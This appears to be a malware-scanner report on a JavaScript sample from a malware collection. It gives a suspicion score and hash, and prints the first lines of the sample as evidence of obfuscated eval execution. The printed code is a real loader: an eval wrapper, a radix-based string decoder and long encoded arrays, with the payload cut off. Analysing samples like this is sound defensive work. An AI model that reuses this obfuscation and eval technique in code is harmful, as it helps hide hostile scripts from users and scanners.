Suspicious ^80% javascript-malware-collection Download

20151210_972fa023665b091f5c83a87fcef75244.js

obfuscated eval execution

parseInt toString radix remapMassive array index assignment

SHA-256f68f7480751147cedced37f142d130aa3674a2857578d14849d570978e9efadd

Evidence

Obfuscated increment/decrement via arithmetic lines 1–7

1var DOoFjQYrDmmBm=[];
2utoxGli=(-807+807)/999;while(true){if(utoxGli>=(43067+581)/341){break;}DOoFjQYrDmmBm[utoxGli]=String.fromCharCode(utoxGli);utoxGli++;}
3function xLOoX(xDDeAZNyckB,sOxSJgWBWxLkO,MDfbEkcv){oevT=parseInt(xDDeAZNyckB,sOxSJgWBWxLkO);nJzqC=oevT.toString(MDfbEkcv);return nJzqC;}function SqTdWxBJrpnUtQj(RSGeFuZINfrBXVVVP){eval(RSGeFuZINfrBXVVVP)}
4function WdMoPHAQfwxOnLSEHqZjoqYKDZcLmPIlRWDIuancUUBDeIeKRGHarJ(vsnkaFJjQJwRE,JjAJriKABVIMou){ return DOoFjQYrDmmBm[xLOoX(vsnkaFJjQJwRE[JjAJriKABVIMou],(3150+600)/150,(6451+529)/698)];}
5function dItMfrC(FWbcpMPCSQXTOzGlNqZiRWFnOnXiEGwRoJjh) {return !isNaN(parseFloat(FWbcpMPCSQXTOzGlNqZiRWFnOnXiEGwRoJjh)) && isFinite(FWbcpMPCSQXTOzGlNqZiRWFnOnXiEGwRoJjh);}
6function hmmFVHASoDc(VmYOOUfP,JopROY){return VmYOOUfP.split(JopROY)}
7var v=[];v[0]="d";v[1]="a";v[2]="d";v[3]="a";v[4]="4i";v[5]="3m";v[6]="4e";v[7]="17";v[8]="3o";v[9]="17";v[10]="2b";v …

Massive array index assignment line 8

8:4312… ";U[860]="4g";U[861]="4e";U[862]="4l";U[863]="17";U[864]="17";U[865]="4n";U[866]="d";U[867]="a";U[868]="17";U[869]="17";U[870]="17";U[871]="17";U[872]="17";U[873]="17";U[874]="17";U[875]="17";U[876]="17";U[877]="17";U[878]="45";U[879]="42";U[880]="17";U[881]="1f";U[882]="1f";U[883]="1f";U[884]="4a";U[885]="41";U[886]="4j";U[887]="17";U[888]="2i";U[889]="3m";U[890]="4g";U[891]="41";U[892]="1f";U[893]="1g";U …